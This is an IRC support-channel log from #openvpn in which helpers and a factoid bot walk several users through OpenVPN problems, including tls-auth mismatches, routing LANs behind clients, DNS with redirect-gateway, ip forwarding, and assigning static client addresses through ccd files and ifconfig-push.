00:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
00:02 < ccherrett> pekster: found the server conf, one sec till I get my hands on it locally
00:06 < ccherrett> pekster: server config: http://pastebin.com/ADdUFhiZ
00:07 < MorkBork> missing ta on the client for 1
00:09 -!- awilliams [~awilliams@unaffiliated/mistik1] has joined #openvpn
00:10 < ccherrett> MorkBork: can you give me a hint on what that means
00:16 < ccherrett> I only see examples of three files I need to copy to the client from the server
00:16 < ccherrett> or was that for the server you were refering?
00:16 < MorkBork> you have this on the server
00:16 < MorkBork> tls-auth /var/etc/openvpn/server1.tls-auth 0
00:17 < MorkBork> so you need
00:17 < MorkBork> something like tls-auth /var/etc/openvpn/server1.tls-auth 1 on the client
00:17 < MorkBork> notice the change from 0 to 1
00:17 < MorkBork> obviously youll have to move the file over
00:18 < pekster> See the --tls-auth directive in the manpage. It's an "extra layer" of protection on top of the TLS channel. Without matching (and opposed directions, when specified) a peer will reject any communication
00:28 < ccherrett> seems we have a connection!
00:28 < ccherrett> onward :)
00:28 < ccherrett> thanks guys
00:30 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
00:30 < ccherrett> MorkBork: is this time sync errors?
00:30 < ccherrett> TLS Error: Unroutable control packet received from
00:30 < ccherrett> over and over in the logs
00:32 < pekster> Nope, time would manifest as TLS negotiation failures perhaps
00:32 < pekster> What's with your route statement in the server?
00:33 < pekster> It doesn't seem to do any good. Neither does the --ifconfig directive, as --server already includes it (it's apparently not harming things, although will if you use a different topology)
00:34 < pekster> Oh, unless your client has that subnet, and you've included it in your ccd?
00:34 < ccherrett> pekster: hmm I am not sure how to answer
00:34 < ccherrett> pekster: what is a ccd?
00:34 < pekster> client-config-dir /var/etc/openvpn-csc
00:34 < pekster> !ccd
00:34 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
00:35 < pekster> Are you attempting to expose 192.168.100.0/24 as a client LAN?
00:35 < pekster> If not, you shouldn't be using the 'route' statement on the server config you have
00:36 < ccherrett> pekster: I am not answering because I am trying to process what you are asking
00:36  * ccherrett thinks hard
00:36 < ccherrett> ouch
00:37 < ccherrett> pekster: ok so there is a route statment in the server1.conf file I see
00:38 < pekster> You may be better off with the howto, not a GUI frontend that "does it all for you" leading to you having no clue why your config is what it is
00:38 < pekster> !howto
00:38 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
00:40 < ccherrett> This is a network that will be routed through the tunnel, so that a site-to-site VPN can be established without manually changing the routing tables. Expressed as a CIDR range. If this is a site-to-site VPN, enter here the remote LAN here. You may leave this blank if you don't want a site-to-site VPN.
00:40 < ccherrett> pekster: that is what pfsense is saying for Remote Network which in the config translates to the route line
00:41 < ccherrett> pekster: we have 3 sip phones behind openvpn on the remote side
00:41 < ccherrett> we need them to talk to our asterisk server on the openvpn server side
00:44 < pekster> !clientlan
00:44 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
00:44 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
00:44 < pekster> You need more than just the server-side setup for that
00:45 < ccherrett> pekster: the remote subnet is 192.168.1.100 and server side is 192.168.1
00:46 < ccherrett> so I thought that the route would be 192.168.100.0/24
00:46 < ccherrett> is that correct?
00:46 < pekster> That's one of several things you must do
00:46 < pekster> Reference the flowchart and bot output
00:48 -!- brute11k [~brute@89.249.230.229] has joined #openvpn
00:49 < ccherrett> pekster: seems TLS_ERROR: BIO read tls_read_plaintext error is an bug in openvpn
00:53 < pekster> Post some logs somewhere. I speak from both experience and some familiarity with the code when I say it's unlikely such an error is a bug. Moreso becuase the TLS routines are handled by OpenSSL
00:55 < ccherrett> pekster: ok, thanks for the help tonight
00:55 < ccherrett> I need sleep
00:55 < ccherrett> I will tackle this after rest
00:56 < ccherrett> thanks again
00:58 <@krzee> !ping
00:58 <@vpnHelper> pong
01:49 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Read error: Connection reset by peer]
01:57 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
02:10 -!- Varazir_ is now known as Varazir
02:17 <@EugeneKay> Pang
02:26 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 257 seconds]
02:30 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
02:48 <@EugeneKay> Peng?\
02:52 < uberushaximus> Panga
03:03 <@EugeneKay> Pquing
03:03 -!- MorkBork [~mark@unaffiliated/morkbork] has left #openvpn ["Leaving"]
03:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:18 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 240 seconds]
03:51 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
03:54 -!- MeanderingCode [~Meanderin@198.1.124.86] has quit [Quit: Off the grid]
03:55 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
03:56 -!- brute11k [~brute@89.249.230.229] has quit [Quit: Leaving.]
03:57 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
04:01 < LEDfan> Hi. I'm trying to use openvpn to route all my trafic through my openvpn server. The server is a VPS so I'm not using bridged, but routed. The OS of my server is Debian, and from the client Arch Linux. When I connect to my server I can"t visit a website (e.g. google.com) but I can visit the IP of the website (e.g. 173.194.34.41) That means my DNS isn't working. I hope you can help me.  Client config file: https://46.249.33.111/client.conf,
04:01 < LEDfan>  Server config file: https://46.249.33.111/server.conf. Thanks in advance.
04:15 -!- Orbi [~opera@anon-149-17.vpn.ipredator.se] has joined #openvpn
04:28 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
04:30 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Client Quit]
04:32 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
04:39 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
05:05 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
05:30 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
05:30 < vaillor> hi
05:31 < vaillor> to run openvpn i just need to open 1194 tcp?
05:35 -!- el2ro [~quassel@95.154.196.68] has joined #openvpn
05:36 < el2ro> !welcome
05:36 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
05:36 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
05:38 < el2ro> !wiki
05:38 <@vpnHelper> "wiki" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN for the Unofficial wiki or (#2) https://community.openvpn.net/openvpn/wiki for the Official wiki
05:39 < el2ro> !howto
05:39 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
06:01 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
06:03 -!- master_of_master [~master_of@p4FF24AB8.dip.t-dialin.net] has joined #openvpn
06:05 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
06:05 < KrissO> !welcome
06:05 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:05 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:06 -!- master_o1_master [~master_of@p4FF24EEE.dip.t-dialin.net] has quit [Ping timeout: 258 seconds]
06:07 < KrissO> !route
06:07 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
06:07 <@vpnHelper> behind the server or client
06:07 < KrissO> gosh
06:07 < KrissO> !goal
06:07 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:08 < KrissO> !howto
06:08 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
06:12 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
06:18 < LEDfan> Is there nobody who can help men ?
06:22 < KrissO> I probably can't as i'm still struggeling
06:23 < KrissO> but I assume you've stated your issue? can't see you wrote anything the last 20 minutes
06:23 < rob0> !redirect
06:23 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
06:23 <@vpnHelper> http://ircpimps.org/redirect.png
06:24 < rob0> LEDfan, see ^^ flowchart
06:25 < rob0> vaillor, no. Default is UDP (for a good reason.) But a server config can be made to listen on either protocol or any port.
06:26 < jzaw> <vaillor> to run openvpn i just need to open 1194 tcp?
06:26 < jzaw> if youre running a tcp tunnel yes
06:26 < jzaw> else udp for udp tunnel
06:27 < jzaw> why not just both and then you can swap and change while you test which suits you better
06:27 < KrissO> ok. let's try this
06:28 -!- ccherrett [~christoph@184.70.186.190] has quit [Ping timeout: 264 seconds]
06:29 < LEDfan> !serverlan
06:29 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
06:31 < LEDfan> rob0: the flowchart didn't helped, I can ping, but I can't ping to google.com via vps/openvpn server.
06:31 < KrissO> I'd like to access the internet over my vpn from my Android. (and the local network once I set up the other clients). OpenVPN Connect for Android shows me as "Connected", however internet doesn't work. i've set up the server with a guide from the NAS wiki, following every step. what did I miss?
06:31 < LEDfan> !ipforward
06:31 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
06:32 < LEDfan> !linipforward
06:32 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
06:32 < LEDfan> forwarding is on
06:32 < LEDfan> It's someting with the DNS.
06:34 < rob0> yes, and that too is covered in the flowchart
06:34 < LEDfan> The openvpn server isn't located in the lan. It's outside the lan.
06:35 < LEDfan> There isn't a server lan.
06:36 < KrissO> !route_outside_openvp
06:36 < KrissO> !route_outside_openvpn
06:36 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
06:38 < LEDfan> I understand it. But I can ping and access websites via my openvpn server, but only via the IP address not via the domainname.
06:39 < LEDfan> !route
06:39 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
06:39 <@vpnHelper> behind the server or client
06:39 < LEDfan> Via the client.
06:40 -!- tcamuso [~tcamuso@pool-64-222-176-233.man.east.myfairpoint.net] has joined #openvpn
06:40 < KrissO> !flowchart
06:45 < KrissO> !def1
06:45 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
06:46 < LEDfan> KrissO: I have done that to.
06:46 < LEDfan> *too
06:46 < LEDfan> !lan
06:46 < LEDfan> !man
06:46 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
06:46 < KrissO> yeah I'm troubleshooting for myself
06:47 -!- folivora [~out@46.19.34.64] has quit [Ping timeout: 246 seconds]
06:47 < LEDfan> Oh sorry. :à
06:48 -!- folivora [~out@46.19.34.64] has joined #openvpn
06:49 < KrissO> no worries
06:53 -!- brute11k [~brute@89.249.230.181] has joined #openvpn
06:58 -!- folivora [~out@46.19.34.64] has quit [Ping timeout: 246 seconds]
06:58 -!- folivora [~out@46.19.34.64] has joined #openvpn
07:00 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Quit: Don't flap your BGP at me sonny]
07:01 -!- Olipro_ [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
07:01 -!- Olipro_ is now known as Olipro
07:01 -!- ServerTechLaptop [~ServerTec@static-mum-59.181.149.175.mtnl.net.in] has quit [Ping timeout: 245 seconds]
07:03 < KrissO> !linipforward
07:03 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
07:04 -!- awilliam1 [~awilliams@unaffiliated/mistik1] has joined #openvpn
07:06 -!- awilliams [~awilliams@unaffiliated/mistik1] has quit [Ping timeout: 272 seconds]
07:06 -!- awilliam1 is now known as awilliams
07:06 < KrissO> something creepy. when I connect to my server
07:06 < KrissO> and I'm SSH'ed in on my server at the same time
07:06 < KrissO> wRwRwRwRRwRRRwRwRwRRwRwRwRRRwRRRRRRRWRWRWWWWRWRWWWRWRWRWRRRW
07:07 < KrissO> these letters keep repeating as if im typing them myselves
07:07 < KrissO> myself*
07:07 < kisom> Reduce your verbosity level.
07:07 < KrissO> creepy
07:07 < KrissO> kisom, in the client?
07:07 < kisom> In whatever config is running on that machine
07:08 < KrissO> ok
07:12 < KrissO> meh
07:12 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has joined #openvpn
07:12 < KrissO> ahhh
07:13 < fellayaboy> from the commandline/linux how do i connect using username and password
07:13 < KrissO> this isn't gonna work :(
07:13 < kisom> fellayaboy: Check the manual, it's all there.
07:13 < fellayaboy> thank u
07:15 < KrissO> lol
07:17 -!- u0m3_ [~Radu@109.96.168.4] has joined #openvpn
07:17 < fellayaboy> damn could u just give me a quick example i cant find it
07:17 < KrissO> kisom
07:17 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:18 < KrissO> i'm behind two routers. now the udp port is forwarded successfully. however the first router doesn't have this: https://dl.dropbox.com/u/9182652/static_routing.jpg. that's from the second router
07:18 < KrissO> am I screwed?
07:18 -!- u0m3__ [~Radu@109.96.168.4] has joined #openvpn
07:19 < KrissO> it's a shitty router with no settings where you have to log in on your online profile to forward ports
07:20 -!- u0m3 [~Radu@109.96.168.4] has quit [Ping timeout: 256 seconds]
07:20 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has quit [Remote host closed the connection]
07:22 < kisom> KrissO:
07:22 < kisom> !goal
07:22 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:22 < KrissO> ok I'll repeat that
07:22 -!- u0m3_ [~Radu@109.96.168.4] has quit [Ping timeout: 264 seconds]
07:23 < kisom> Nvm, I read the scrollback
07:23 < KrissO> I'd like to access the internet over my vpn from my Android. (and the local network once I set up the other clients). OpenVPN Connect for Android shows me as "Connected", however internet doesn't work. i've set up the server with a guide from the NAS wiki, following every step. and I've also gone over the steps in the flowchart. what did I miss?
07:23 < KrissO> kisom, ah right
07:23 < kisom> Since your phone says you're connected it's rather a routing/firewall issue.
07:24 < KrissO> that's what I suspected
07:24 < kisom> Did you enable masquerading/routing/forwarding?
07:25 < KrissO> in my router?
07:25 < kisom> I don't know
07:25 < kisom> Wherever your openvpn server is running
07:26 < KrissO> let's see.
07:27 < KrissO> I did "net.ipv4.ip_forward = 1 in sysctl.conf" and "iptables -I FORWARD -i tun+ -j ACCEPT" from cmd
07:27 < KrissO> and "redirect-gateway def1" in client.ovpn
07:30 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
07:43 < jzaw> KrissO, did you put a static route in your server end gw for the traffic to know where to find your vpn clients?
07:43 < KrissO> !pushdns
07:43 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
07:43 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
07:44 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has quit [Quit: Leaving]
07:50 -!- newbie|2 [~tjz@bb116-14-142-13.singnet.com.sg] has joined #openvpn
07:50 < KrissO> !dns
07:50 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
07:53 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 260 seconds]
08:27 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
08:28 -!- tcamuso [~tcamuso@pool-64-222-176-233.man.east.myfairpoint.net] has quit [Ping timeout: 260 seconds]
09:13 < LEDfan> Errr. Now I can't ping any more....
09:19 < vaillor> hi guys
09:19 < vaillor> i have a problem: http://sprunge.us/gSBg
09:19 < vaillor> openvpn connected
09:19 < vaillor> but, it disconnects continuosly
09:19 < vaillor> this is the server log
09:20 < vaillor> this is the client log done by openvpn connect for IOS: http://nopaste.info/4f5f84e1f1.html
09:21 < vaillor> connection drops and reconnects again, this happens very often
09:28 -!- hardcode [~hardcode@d54C663D8.access.telenet.be] has joined #openvpn
09:28 < hardcode> hello
09:29 < hardcode> how can I assign fixed internal IP's to users?
09:41 < hardcode> The local and remote VPN endpoints cannot use the first or last address within a given 255.255.255.252 subnet.  This is a limitation of --dev tun when used with the TAP-WIN32 driver.  Try 'openvpn --show-valid-subnets' option for more info.
09:41 < hardcode> i'm getting that
09:41 < hardcode> with
09:41 < hardcode> ifconfig-push 10.2.3.50 10.2.3.51
09:49 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
10:04 < jzaw>  l
10:21 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
10:22 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
10:27 -!- ccherrett [~christoph@184.70.186.190] has joined #openvpn
10:28 -!- Twinkletoes [~chatzilla@host-92-21-150-139.as13285.net] has joined #openvpn
10:28 -!- Subject_Chell [~subject@66.172.12.6] has joined #openvpn
10:28 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
10:28 < Twinkletoes> Moonlightning: Here ya go
10:29 < Twinkletoes> Moonlightning: Someone here might be able to help
10:29  * Twinkletoes waves bye bye to Moonlightning
10:29 -!- Twinkletoes [~chatzilla@host-92-21-150-139.as13285.net] has left #openvpn []
10:29  * Moonlightning waves.
10:29 < Moonlightning> … XD
10:29 < Moonlightning> Arright.
10:29 < Moonlightning> So. How do I reserve consecutive IPs for specific clients?
10:30  * Moonlightning is really really confused by the `route` and `ifconfig-push` directives in the example config. 9_6
10:33 < Poster> Moonlightning: I think you'd be interested in the ifconfig-pool-persist directive
10:33 < Poster> !ifconfig-pool-persist
10:33 < Poster> :(
10:33 <@novaflash> !factoids persist
10:33 < Poster> anyway, it binds a given certificate to an IP address
10:33 <@novaflash> maybe
10:33 < Moonlightning> Not quite. XD
10:33 <@novaflash> why do i never find anything in this channel lol
10:34 < Moonlightning> According to the example config (IIRC), that's not as persistent as I would want it to be.
10:34 < Poster> I'm blaming not enough coffee
10:35 < Poster> so you want to have OpenVPN server up say 192.168.10.0/24, then subdivide it as 192.168.10.2-20 for client A, 21-40 for client B, 41-60 for client C, etc?
10:35 < vaillor> novaflash, i just added "keepalive 10 120" to the server config and now looks like working well
10:35 < Moonlightning> …no. XD
10:35 < Poster> ok can you elaborate on what you're trying to achieve?
10:35 < Moonlightning> I would want 192.168.10.2 for one client, then 192.168.10.3 for another
10:35 < Moonlightning> Consecutive IPs. XD
10:35 <@novaflash> vaillor: that's a little odd. it was a warning, not an error. so maybe the default settings weren't making the system happy. weird. anyways, glad you fixed it.
10:36 < Poster> does each client have it's own certificate?
10:36 < Moonlightning> Yep.
10:36  * Moonlightning thought that was how you were supposed to do it.
10:36 < Poster> ifconfig-pool-persist should get it
10:36 < Moonlightning> (ugh, how come `zless` never works for me? >.< )
10:36 < Poster> yes a unique cert per client is good
10:37 < Moonlightning> Hmmmm.
10:37 < Moonlightning> I'm pretty sure I read something that said I shouldn't use `ifconfig-pool-persist`. XD
10:38 < Poster> ok well it may not be appropriate for all instances, but without more detail as to why I would be hesitant to accept that advice for this instance
10:39 -!- u0m3__ [~Radu@109.96.168.4] has quit [Ping timeout: 255 seconds]
10:39 < Moonlightning> Not appropriate for all instances…like what?
10:39 < Poster> I have no idea, I don't know where you read where ifconfig-pool-persist should not be used
10:40 < Moonlightning> I don't either. XD
10:40 < Poster> the only scenario I would think it would be bad is if you had a VPN client count that exceeded the available IP addresses you could use for a VPN link
10:40 < Poster> which would have to be a fairly large network, there's quite a few RFC1918 addresses available
10:42 < Moonlightning> Okay.
10:42 <@novaflash> yeah. like millions.
10:42 < Moonlightning> So do I just edit the persistent-pool file?
10:42 < Poster> well you wouldn't edit it directly
10:43 < Poster> I guess you could
10:43 < Poster> you just define it and the openvpn daemon will maintain it
10:43 < Moonlightning> Okay? So how do I add the reservations?
10:43 < Poster> they'll become reserved as they connect
10:44 < Poster> you'll see the content be something like
10:44 < Moonlightning> …but they just get assigned sequential-looking addresses. XD
10:44 < Poster> client1.domain.com,192.168.10.2
10:44 < Moonlightning> I want specific machines to have specific addresses.
10:44 < Poster> client2.domain,com,192.168.10.3
10:44 < pekster> Moonlightning:
10:44 < Poster> client3.domain.com,192.168.10.4
10:44 < pekster> !static
10:44 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
10:44 < Poster> and so on
10:44  * novaflash pokes pekster
10:44 < Moonlightning> That is what confused me so much.
10:44 <@novaflash> what's the factoid search command again?
10:44 < pekster> Poster: Do not ever suggest people edit that file. It's a terriable idea
10:45 < pekster> novaflash: factoids search [--values] term
10:45 <@novaflash> thanks ;)
10:45 < Poster> heh good morning to you too!
10:45 < pekster> novaflash: You can privmsg too, but you need to do factoids #channel search [--values] term
10:45 <@novaflash> ah thanks
10:46 < vaillor> novaflash, in the same configuration file i have both: "client" and "tls-client" what means?
10:46 <@novaflash> does this look okay? /msg vpnHelper factoids #openvpn search persist
10:46 < pekster> Moonlightning: The persist file is used by OpenVPN as a suggestion, nothing more. I suggest you don't use it at all. If you want statis addresses, use a ccd file or a --client-connect script to push an IP outside of your pool range
10:46 < pekster> !ipp
10:46 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
10:46 <@novaflash> tls-client means: Enable TLS and assume client role during TLS handshake.
10:47 < pekster> vaillor: note that --client implies --tls-client (you can see how this expands in the manpage)
10:47 < Moonlightning> …oookay XD
10:47 <@novaflash> manpage is here: http://openvpn.net/index.php/open-source/documentation/manuals/65-openvpn-20x-manpage.html
10:47 <@vpnHelper> Title: OpenVPN 2.0.x (at openvpn.net)
10:47 < rob0> novaflash, "help factoids" yielded this: <vpnHelper> Error: There is no command "factoids".
10:47 < pekster> That's a *very* old manpage
10:47 < pekster> !man
10:47 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
10:47 < Moonlightning> Yeah, pony page wasn't really helpful at unconfusing me. XD
10:48 < pekster> *that* is the manpage you want, unless you're running a 6 year old version. Please don't run 6 year old versions ;)
10:48 <@novaflash> rob0: okay.. hm. i am not getting any response from vpnhelper
10:48 <@novaflash> still get 0 response from vpnhelper...
10:48 < rob0> it responds when given a valid command :)
10:48 <@novaflash> right but what is a valid command then?
10:48 < rob0> "help" for one
10:49 <@novaflash> i tried this: /msg vpnHelper factoids #openvpn search openvpn
10:49 < Moonlightning> So if I want client1 to be 192.168.10.2 and client2 to be 192.168.10.3, I do `route 192.168.10.0 255.255.255.252` in the mane config, and then `ifconfig 192.168.10.2 192.168.10.3` in ccd/client1 and `ifconfig 192.168.10.3 192.168.10.4` in ccd/client2?
10:49 <@novaflash> okay no command factoids, no command factoid. that helps. ;)
10:49 < rob0> yes. I don't know how to search. But there is the web page
10:50 < vaillor> so, client = tls-client ?
10:50 <@novaflash> vaillor: no. it implies tls-client.
10:50 < rob0> !factoids
10:50 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
10:50 < pekster> Moonlightning: No, you cannot use a /30 network for that setup
10:50 <@novaflash> thanks i'll go use that ;)
10:50 < Moonlightning> 9_6
10:50 < rob0> !whatis #openvpn factoids
10:50 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
10:51 < Moonlightning> That's what I gathered from the pony page and example config. 6_9
10:51 < Moonlightning> So…how do I do it? XD
10:51 < vaillor> novaflash, and tls-client alone, what means?
10:51 <@novaflash> tls-client means: Enable TLS and assume client role during TLS handshake.
10:51 <@novaflash> manpage is here: http://openvpn.net/index.php/open-source/documentation/manuals/65-openvpn-20x-manpage.html - please read it
10:51 <@vpnHelper> Title: OpenVPN 2.0.x (at openvpn.net)
10:51 < pekster> No it's not
10:51  * Moonlightning sighs and pulls up the pony page again
10:51 < rob0> s/read/consult/ :)
10:51 < pekster> That's the old manpage. Please stop pasting it
10:52 < pekster> Use !man for the manpage
10:52 < Moonlightning> !man
10:52 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
10:52 <@novaflash> alright, use !man then
10:52 <@novaflash> pekster: i just googled it, that's all.
10:53 < vaillor> novaflash, ok, red it, is written that --client = pull, tls-client
10:53 < vaillor> so they are equivalent
10:54 <@novaflash> you have an interesting interpretation of equivalent
10:54 < vaillor> no, is written "equivalent" in manpage
10:54 <@novaflash> fine
10:54 < vaillor> " This directive is equivalent to:"
10:54 <@novaflash> okay
10:54 < vaillor> equivalent in my language means that they do the same thing
10:55  * novaflash sighs
10:55 <@novaflash> bye vaillor
10:55 < vaillor> why?
10:55 < pekster> Moonlightning: You probably want to use '--topology subnet'. Then you use ifconfig-push as the IP you want the client to have and the subnet mask of your network. net30 (OpenVPN's default topology) is an old hack no longer necessary
